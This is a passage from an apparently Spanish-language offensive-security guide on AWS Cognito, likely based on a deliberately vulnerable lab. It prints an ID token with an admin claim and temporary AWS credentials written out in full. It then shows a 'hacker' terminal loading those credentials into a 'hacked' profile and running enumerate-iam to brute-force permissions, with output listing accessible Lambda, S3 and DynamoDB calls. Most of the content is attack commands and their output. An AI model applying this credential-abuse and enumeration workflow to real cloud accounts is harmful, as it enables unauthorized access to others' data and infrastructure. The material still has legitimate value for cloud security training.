"cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l=eyJraWQiOiJZditsSnVjdjRJYldWTmV4TDU5NEFTWW1YQm5ZSVJGSlFaVkp6T0IwZkxBPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfZ2VXbGx4ZzJsIiwiY29nbml0bzp1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCIsImdpdmVuX25hbWUiOiJHZXJhcmRvIiwiY3VzdG9tOmFjY2VzcyI6ImFkbWluIiwib3JpZ2luX2p0aSI6IjdmODk2NDdkLWU0NTItNGFmYy05Yzc2LTY1ZmJmZWI1ZTc4NiIsImF1ZCI6IjdnaXMxdXRvNzJoNTQ2MnM2ZWt2bTdya2hkIiwiZXZlbnRfaWQiOiIwMWRhNmE0Zi00ODNmLTQyN2YtYjg4MS1lZmNlN2JkODEzMDEiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcxOTE3MjYxNywiZXhwIjoxNzE5MTc2MjE3LCJpYXQiOjE3MTkxNzI2MTcsImZhbWlseV9uYW1lIjoiRWxpYXNpYiIsImp0aSI6ImZjOTg0ZmY0LWNlMGYtNDIxYS04ODhmLTE1YjRlOWRjZDY5OCIsImVtYWlsIjoic3BhcnRhbkA5b3luaTk2azZlbWFsdWFrZ3Vsc2ZpeXBzZ3k3bXhhbS5vYXN0aWZ5LmNvbSJ9.eGehf1bPdNfaR3CjBf9-kJ3XjjW-UNsPS38sOxQRbAwtebkAO5MLvKPkGgW0MITPXlEl1VtD-7x7p7LFmJNaLhE2VR8bZuZR6_eGpnn2EZpS5ZiTffx4YikaewzJ4rQDepSS7DJbhc9qP-h309S35M_ypqo6PqfNWnRAZHvDjCvdMt2qziR5v67juAfAvE-ldxM16fJWQkj7ee_HxA67gIuknwhiX7kmcN0mkZjvPNMt0h3PBCmXa6d0VDkLRVEKeac7HXdvSIyqwjMV2ltN1kR6r4stNRG6_PXl_I7gSHWGCJOnWBVx2CNu8PHXUCzA0e4say2CDIUVm7lsbORthg"
{
    "IdentityId": "us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4",
    "Credentials": {
        "AccessKeyId": "ASIAYPUD57AETV535COM",
        "SecretKey": "DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF",
        "SessionToken": "IQoJb3JpZ2luX2VjEO3//////////wEaCXVzLWVhc3QtMSJHMEUCIQCI5v0Uwa+nIi88caXGYaBOfCOIwvBJQnc0cR3wYca8PQIgIChTw/Iq4IIm/Vv+qFehHuNcz0KoG7LM4V9kwJLOOAQqzQQIlf//////////ARABGgw1ODMzMTg1MDEzODUiDBCoc9JzZPPO6NpvHSqhBEbyXoVW1FPJ5s0qYPRLh1pdsw90IyAlBlhNvGjqi71dXgGWA/h6oc/RHHRP7pUSGV8SdjjelupG4Xs40Qpf0d2En/xCrdfAC3pqqf+zGglu4WQjla+T8Ih+NreTinkQ5ugDaMthMhvjuqt1X+HS3MEM/dLMzacZ2qjpCCMBElDkhMLoczJFSWbrw8BYxNP+OYy/xpspuiCZKhWjbzKANrSNxE/dtv74z4P2q0sLFktUlK1qA295914+zuPwKeeIY3oRgjjrZP8jEeWO+0d+03VgUgeM7EIMHmdHQHFMYy/NPq6XLllIV6q1fBCkYCfWRlMwagDqF8I7xxRPQuZVChEhh7npgPxAFvsda4oHUQBy9e8tiKCXep+HdHTEv5CbGnTao0u8IWIl8cuaE3cpbe70OrEfRdbw8obwJMw+8sXmsohlExQBIVwJ/Ges7kkk34b/9pD/T+rB0j6nbpcgqlIbO+IcVSBn2dC1xgg6KwGCf9Jc27HRimV0CJQdnAxysuGV6DwB8b0CtLyAsGBoTdPUqeiaDsPzRG/IQLLNYS9JwE40Cn/4kSWIUb7Na+/r3FSfCjRFtbIj4dCl1UspmdQrnaph1Q8qLpAu/JsCMH1eK7o559Wuog1PWqeVRHhq2/FrXiytu5xl+boKhg3IfkohG5g6lXxCO71skVhFWjtNBAMdAFpP+OTh0TxLl63gKWKFWk94S9JbIm9rgdttnFvxMPWB4rMGOoUCBGeVyw0PzL+Ta7ET5cwKN3uDESLsB3KmOArCTeFmah0pIShH50Ww1N8m08YFRas7+bvM+BIvCJkhD0+4U3IdK2Lp+qG8he0bjaL97CoGQYhLWrtMbkWh+FvUADNnzTLRweVb2V7/ZfjIQ3uXuK4ccb41mT6/LkEViyGTg+PIgr87SEpRtbpIJ5rcTj+54YeI9zQsJqCXo8LJes6vbyUr3U3/IzfEdgWbOXcrrW3gvwKXa3XC2wecwGL1mco50AOXsmN1xSzk6C9t8df7h2euKto8g8QLodw37gRSVCwsS6lFnVeSB/wC/wlJrtChk+4Hn+vOjh2X9FnnSPZS5lfBoue6hEaA",
        "Expiration": "2024-06-23T16:09:25-05:00"
    }
}

Se procede a realizar una autenticacion y validamos con que usuarios estamos autenticados:

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws configure --profile hacked
AWS Access Key ID [None]: ASIAYPUD57AETV535COM
AWS Secret Access Key [None]: DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF
Default region name [None]: us-east-1
Default output format [None]: json

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws sts get-caller-identity --profile hacked
{
    "UserId": "AROAYPUD57AE6JUXI526P:CognitoIdentityCredentials",
    "Account": "583318501385",
    "Arn": "arn:aws:sts::583318501385:assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials"
}
┌──(hacker㉿SPARTAN-SERVER)-[~/CPNA-v2/enumerate-iam]
└─$ python3 enumerate-iam.py --access-key ASIAYPUD57AETV535COM --secret-key DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF --session-token IQoJb3JpZ2luX2VjEO3//////////wEaCXVzLWVhc3QtMSJHMEUCIQCI5v0Uwa+nIi88caXGYaBOfCOIwvBJQnc0cR3wYca8PQIgIChTw/Iq4IIm/Vv+qFehHuNcz0KoG7LM4V9kwJLOOAQqzQQIlf//////////ARABGgw1ODMzMTg1MDEzODUiDBCoc9JzZPPO6NpvHSqhBEbyXoVW1FPJ5s0qYPRLh1pdsw90IyAlBlhNvGjqi71dXgGWA/h6oc/RHHRP7pUSGV8SdjjelupG4Xs40Qpf0d2En/xCrdfAC3pqqf+zGglu4WQjla+T8Ih+NreTinkQ5ugDaMthMhvjuqt1X+HS3MEM/dLMzacZ2qjpCCMBElDkhMLoczJFSWbrw8BYxNP+OYy/xpspuiCZKhWjbzKANrSNxE/dtv74z4P2q0sLFktUlK1qA295914+zuPwKeeIY3oRgjjrZP8jEeWO+0d+03VgUgeM7EIMHmdHQHFMYy/NPq6XLllIV6q1fBCkYCfWRlMwagDqF8I7xxRPQuZVChEhh7npgPxAFvsda4oHUQBy9e8tiKCXep+HdHTEv5CbGnTao0u8IWIl8cuaE3cpbe70OrEfRdbw8obwJMw+8sXmsohlExQBIVwJ/Ges7kkk34b/9pD/T+rB0j6nbpcgqlIbO+IcVSBn2dC1xgg6KwGCf9Jc27HRimV0CJQdnAxysuGV6DwB8b0CtLyAsGBoTdPUqeiaDsPzRG/IQLLNYS9JwE40Cn/4kSWIUb7Na+/r3FSfCjRFtbIj4dCl1UspmdQrnaph1Q8qLpAu/JsCMH1eK7o559Wuog1PWqeVRHhq2/FrXiytu5xl+boKhg3IfkohG5g6lXxCO71skVhFWjtNBAMdAFpP+OTh0TxLl63gKWKFWk94S9JbIm9rgdttnFvxMPWB4rMGOoUCBGeVyw0PzL+Ta7ET5cwKN3uDESLsB3KmOArCTeFmah0pIShH50Ww1N8m08YFRas7+bvM+BIvCJkhD0+4U3IdK2Lp+qG8he0bjaL97CoGQYhLWrtMbkWh+FvUADNnzTLRweVb2V7/ZfjIQ3uXuK4ccb41mT6/LkEViyGTg+PIgr87SEpRtbpIJ5rcTj+54YeI9zQsJqCXo8LJes6vbyUr3U3/IzfEdgWbOXcrrW3gvwKXa3XC2wecwGL1mco50AOXsmN1xSzk6C9t8df7h2euKto8g8QLodw37gRSVCwsS6lFnVeSB/wC/wlJrtChk+4Hn+vOjh2X9FnnSPZS5lfBoue6hEaA
2024-06-23 15:17:44,020 - 1371 - [INFO] Starting permission enumeration for access-key-id "ASIAYPUD57AETV535COM"
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account ARN : arn:aws:sts::583318501385:assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account Id  : 583318501385
2024-06-23 15:17:44,583 - 1371 - [INFO] -- Account Path: assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials
2024-06-23 15:17:45,367 - 1371 - [INFO] Attempting common-service describe / list brute force.
2024-06-23 15:17:47,099 - 1371 - [INFO] -- dynamodb.describe_endpoints() worked!
2024-06-23 15:17:50,950 - 1371 - [INFO] -- sts.get_caller_identity() worked!
2024-06-23 15:17:51,256 - 1371 - [INFO] -- lambda.list_layers() worked!
2024-06-23 15:17:51,341 - 1371 - [INFO] -- lambda.list_functions() worked!
2024-06-23 15:17:51,425 - 1371 - [INFO] -- lambda.list_functions() worked!
2024-06-23 15:17:51,516 - 1371 - [INFO] -- lambda.get_account_settings() worked!
2024-06-23 15:17:51,667 - 1371 - [INFO] -- lambda.list_event_source_mappings() worked!
2024-06-23 15:17:52,192 - 1371 - [INFO] -- s3.list_buckets() worked!
AnteriorFalta de Verificación de la Firma del JWTSiguienteTecnicas y tacticas ofensivas en Cognito

Última actualización hace 10 meses

¿Te fue útil?

En este punto un atacante podria utilizar como se ha explicado previamente:

enumerate-iam
Page cover image